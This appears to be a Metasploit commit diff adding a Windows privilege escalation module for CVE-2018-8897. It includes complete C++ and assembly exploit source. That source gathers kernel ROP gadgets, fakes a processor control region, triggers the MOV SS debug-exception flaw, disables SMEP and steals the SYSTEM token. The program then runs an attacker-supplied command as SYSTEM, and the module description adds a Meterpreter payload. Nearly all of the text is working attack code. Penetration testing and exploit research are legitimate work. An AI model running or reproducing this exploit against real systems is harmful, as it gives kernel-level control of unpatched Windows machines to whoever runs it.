Land #10297, Add priv escalation mod for CVE-2018-8897

4.x
Wei Chen 2018-07-13 10:54:25 -05:00 committed by Metasploit
parent 942befab73
commit 06e8cc49f5
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
15 changed files with 1250 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,10 @@
# Description
This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows
(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed
by the final payload (such as a Meterpreter) in order to gain remote code execution.
# Vulnerable Target
Please note that this module may not work with certain hypervisors (such as VMWare). You should
test it on a real machine if possible.

View File

@ -0,0 +1,10 @@
#pragma once
#define ERROR( msg ) \
{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \
printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \
system( "pause" ); \
exit( 0 );}
#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond )

View File

@ -0,0 +1,66 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
#include <iostream>
#include <vector>
#include "NtDefines.h"
struct KernelContext
{
HMODULE NtLib;
uint64_t NtBase;
template<typename T = fnFreeCall>
T GetProcAddress( const char* Proc )
{
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
if ( !LocProc )
return ( T ) ( nullptr );
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
return ( T ) ( this->NtBase + Delta );
}
};
static KernelContext* Kr_InitContext()
{
KernelContext* Kc = new KernelContext;
std::vector<BYTE> Buffer( 1024 * 1024 );
ULONG ReqSize = 0;
do
{
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
break;
Buffer.resize( ReqSize * 2 );
}
while ( ReqSize > Buffer.size() );
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
Kc->NtLib = LoadLibraryA( KernelFileName );
if ( !Kc->NtBase || !Kc->NtLib )
{
delete Kc;
printf( "[+] Failed to get kernel module information!\n" );
return 0;
}
printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase );
return Kc;
}
static void Kr_FreeContext( KernelContext* Ctx )
{
delete Ctx;
}

View File

@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2018, Can Bölük
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,88 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include "NtDefines.h"
#pragma section(".LDATA", read, write)
#pragma section(".LTEXT", read, write, execute)
#pragma data_seg(".LDATA$1")
#pragma data_seg(".LDATA$2")
#pragma data_seg(".LDATA$3")
#pragma data_seg()
#pragma code_seg(".LTEXT$1")
#pragma code_seg(".LTEXT$2")
#pragma code_seg(".LTEXT$3")
#pragma code_seg()
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
// Mini non-paged crt
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
#pragma comment(linker,"/MERGE:.LDATA=.data")
#pragma comment(linker,"/MERGE:.LTEXT=.text")
// Routines to lock the pages
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
{
SIZE_T Min, Max;
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
return FALSE;
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
return FALSE;
return TRUE;
}
static BOOL Np_TryLockPage( PVOID Page )
{
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
return FALSE;
if ( VirtualLock( Page, 0x1000 ) )
return TRUE;
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
return FALSE;
return VirtualLock( Page, 0x1000 );
}
static BOOL Np_LockRange( PVOID From, PVOID To )
{
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
{
if ( !Np_TryLockPage( Current ) )
{
printf( "[+] Failed locking %16llx!\n", Current );
return FALSE;
}
else
{
printf( "[+] Locked %16llx successfully!\n", From );
}
}
return TRUE;
}
static BOOL Np_LockSections()
{
printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd );
printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd );
return
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
Np_LockRange( &Np_TextStart, &Np_TextEnd );
}

View File

@ -0,0 +1,146 @@
.code
__swapgs PROC
swapgs
ret
__swapgs ENDP
__rollback_isr PROC
mov rdx, [rsp] ; rdx = Return pointer
lea r8, [rsp+8h] ; r8 = Old stack
mov [rcx], rdx ; isr stack.rip = Return pointer
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
mov rsp, rcx ; stack = isr stack
iretq ; return
__rollback_isr ENDP
__set_gs_base PROC
wrgsbase rcx
ret
__set_gs_base ENDP
__readss PROC
xor eax, eax
mov ax, ss
ret
__readss ENDP
__read_gs_base PROC
rdgsbase rax
ret
__read_gs_base ENDP
__triggervuln PROC
mov [rcx+8*0], r12 ; save registers
mov [rcx+8*1], r13
mov [rcx+8*2], r14
mov [rcx+8*3], r15
mov [rcx+8*4], rdi
mov [rcx+8*5], rsi
mov [rcx+8*6], rbx
mov [rcx+8*7], rbp
mov [rcx+8*8], rsp
pushfq
pop [rcx+8*9]
mov ss, word ptr [rdx] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
nop
nop
nop
mov r12, [rcx+8*0] ; load registers
mov r13, [rcx+8*1]
mov r14, [rcx+8*2]
mov r15, [rcx+8*3]
mov rdi, [rcx+8*4]
mov rsi, [rcx+8*5]
mov rbx, [rcx+8*6]
mov rbp, [rcx+8*7]
mov rsp, [rcx+8*8]
push [rcx+8*9]
popfq
ret
__triggervuln ENDP
__setxmm0 PROC
movups xmm0, [rcx]
ret
__setxmm0 ENDP
__setxmm1 PROC
movups xmm1, [rcx]
ret
__setxmm1 ENDP
__setxmm2 PROC
movups xmm2, [rcx]
ret
__setxmm2 ENDP
__setxmm3 PROC
movups xmm3, [rcx]
ret
__setxmm3 ENDP
__setxmm4 PROC
movups xmm4, [rcx]
ret
__setxmm4 ENDP
__setxmm5 PROC
movups xmm5, [rcx]
ret
__setxmm5 ENDP
__setxmm6 PROC
movups xmm6, [rcx]
ret
__setxmm6 ENDP
__setxmm7 PROC
movups xmm7, [rcx]
ret
__setxmm7 ENDP
__setxmm8 PROC
movups xmm8, [rcx]
ret
__setxmm8 ENDP
__setxmm9 PROC
movups xmm9, [rcx]
ret
__setxmm9 ENDP
__setxmm10 PROC
movups xmm10, [rcx]
ret
__setxmm10 ENDP
__setxmm11 PROC
movups xmm11, [rcx]
ret
__setxmm11 ENDP
__setxmm12 PROC
movups xmm12, [rcx]
ret
__setxmm12 ENDP
__setxmm13 PROC
movups xmm13, [rcx]
ret
__setxmm13 ENDP
__setxmm14 PROC
movups xmm14, [rcx]
ret
__setxmm14 ENDP
__setxmm15 PROC
movups xmm15, [rcx]
ret
__setxmm15 ENDP
end

View File

@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
extern "C"
{
void __setxmm0( BYTE* );
void __setxmm1( BYTE* );
void __setxmm2( BYTE* );
void __setxmm3( BYTE* );
void __setxmm4( BYTE* );
void __setxmm5( BYTE* );
void __setxmm6( BYTE* );
void __setxmm7( BYTE* );
void __setxmm8( BYTE* );
void __setxmm9( BYTE* );
void __setxmm10( BYTE* );
void __setxmm11( BYTE* );
void __setxmm12( BYTE* );
void __setxmm13( BYTE* );
void __setxmm14( BYTE* );
void __setxmm15( BYTE* );
void __swapgs();
uint16_t __readss();
PVOID __read_gs_base();
void __set_gs_base( PVOID GsBase );
void __rollback_isr( uint64_t IsrStack );
void __triggervuln( PVOID RegSave, PVOID Abc );
};

View File

@ -0,0 +1,72 @@
#pragma once
#include <Windows.h>
#pragma pack(push, 8)
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[ 0 ];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG Reserved : 28;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
typedef UNICODE_STRING *PUNICODE_STRING;
#pragma pack(pop)
#define NtCurrentProcess() ( HANDLE(-1) )
#define SeLoadDriverPrivilege 10ull
#define SystemModuleInformation 0xBull
#define SystemKernelVaShadowInformation 196ull
#define AdjustCurrentProcess 0ull
#define STATUS_SUCCESS 0
using fnFreeCall = uint64_t( __fastcall* )( ... );
template<typename ...Params>
static NTSTATUS __NtRoutine( const char* Name, Params &&... params )
{
auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name );
return fn( std::forward<Params>( params ) ... );
}
#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__)
#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__)
#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__)
#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__)
static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc )
{
BOOLEAN Enabled = 0;
return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled;
}

View File

@ -0,0 +1,12 @@
# CVE-2018-8897
Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages.
- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled.
- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3.
## Detailed explanation:
https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/
## Result:
![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png)
![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png)

View File

@ -0,0 +1,387 @@
#include <iostream>
#include <Windows.h>
#include <intrin.h>
#include "KernelRoutines.h"
#include "LockedMemory.h"
#include "Native.h"
#include "Error.h"
struct ISR_STACK
{
uint64_t RIP;
uint64_t CS;
uint64_t EF;
uint64_t RSP;
};
// Doensn't really change
static const uint32_t Offset_Pcr__Self = 0x18;
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
static const uint32_t Offset_Pcr__Prcb = 0x180;
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
static const uint32_t Offset_Context__XMM13 = 0x270;
static const uint32_t MxCsr__DefVal = 0x1F80;
static const uint32_t Offset_Prcb__RspBase = 0x28;
static const uint32_t Offset_KThread__InitialStack = 0x28;
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
// Requires patterns
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
NON_PAGED_DATA uint64_t ContextBackup[ 10 ];
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i += 0x8 )
{
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
if ( ( Member & ~0xF ) == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}
PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz )
{
PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
ZeroMemory( Va, Sz );
for ( int i = 0; i < Sz; i += 0x1000 )
Np_TryLockPage( Va + i );
return Va;
}
int main(int argc, char *argv[])
{
if (argc < 2){
return 0;
}
// Pre-init checks: KVA Shadow
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) )
assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled );
// Initialization: Memory allocation, locking sections, loading nt
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
assert( Np_LockSections() );
assert( Np_TryLockPage( &__rollback_isr ) );
assert( Np_TryLockPage( &__swapgs ) );
KernelContext* KrCtx = Kr_InitContext();
assert( KrCtx );
static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 );
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
// Offsets: Finding offsets and ROP gadgets
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB );
PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib;
PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew );
PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader );
while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++;
uint64_t AdrRetn = 0;
uint64_t AdrPopRcxRetn = 0;
uint64_t AdrSetCr4Retn = 0;
PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress;
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
// Find [RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0xC3 )
{
AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [POP RCX; RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 )
{
AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [MOV CR4, RCX; RETN]
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
{
if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 &&
It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 )
{
AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn );
printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn );
printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn );
assert( AdrRetn );
assert( AdrPopRcxRetn );
assert( AdrSetCr4Retn );
PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" );
PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" );
for ( int i = 0; i < 0x50; i++ )
{
if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax,
UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call
{
Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 );
break;
}
}
for ( int i = 0; i < 0x50; i++ )
{
if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax,
UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn
{
Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 );
break;
}
}
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context );
printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process );
assert( Offset_Prcb__Context );
assert( Offset_KThread__ApcStateFill__Process );
// Setting up GSBASE
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC );
*( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self
*( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
*( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr
*( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread
*( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder
*( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess
*( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase
*( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack
printf( "[+] Finished setting up fake PCR!\n" );
printf( "[+] Pcr @ %16llx\n", Pcr );
printf( "[+] Prcb @ %16llx\n", Prcb );
printf( "[+] EThread @ %16llx\n", KThread );
printf( "[+] EProcess @ %16llx\n", KProcess );
NON_PAGED_DATA static DWORD SavedSS = __readss();
// Execute Exploit!
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
{
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault's
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
return 0;
}, 0, 0, 0 );
assert( ThreadHandle );
printf( "\n- Created context watchdog\n" );
printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) );
assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) );
printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" );
SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE );
SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 );
printf( "- Seperated exploit and context watchdog processors\n" );
k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" );
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" );
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" );
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" );
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>( "PsInitialSystemProcess" );
printf( "\n" );
printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess );
printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess );
printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken );
printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken );
printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool );
printf( "\n" );
printf( "/--------------------------------------\\\n" );
printf( "| Press any key to start exploit! |\n" );
printf( "| Warning: This may bugcheck your PC. |\n" );
printf( "\\--------------------------------------/\n" );
//system( "pause>nul" );
printf( "\n" );
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS
Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
Ctx.Dr7 =
( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active
( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
printf( "[+] Setting up debug registers:\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 );
printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
assert( SetThreadContext( HANDLE( -2 ), &Ctx ) );
printf( "\n" );
uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn };
uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 };
uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode };
// RSP:
__setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase!
// &retn
__setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx
// 0x506f8
__setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn
// &KernelShellcode
printf( "[+] Built ROP Chain:\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] );
printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] );
printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] );
printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] );
printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] );
printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
printf( "\n" );
PVOID ProperGsBase = __read_gs_base();
printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr );
printf( "[+] Defering debug exception...\n" );
__set_gs_base( Pcr );
__triggervuln( ContextBackup, &SavedSS ); // Let the fun begin
__set_gs_base( ProperGsBase );
printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
printf( "[+] Exploit successful!\n\n" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
printf( "/------------------------------------------\\\n" );
printf( "| Press any key to launch a system console |\n" );
printf( "\\------------------------------------------/" );
//system( "pause>nul" );
system( argv[1] );
}

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
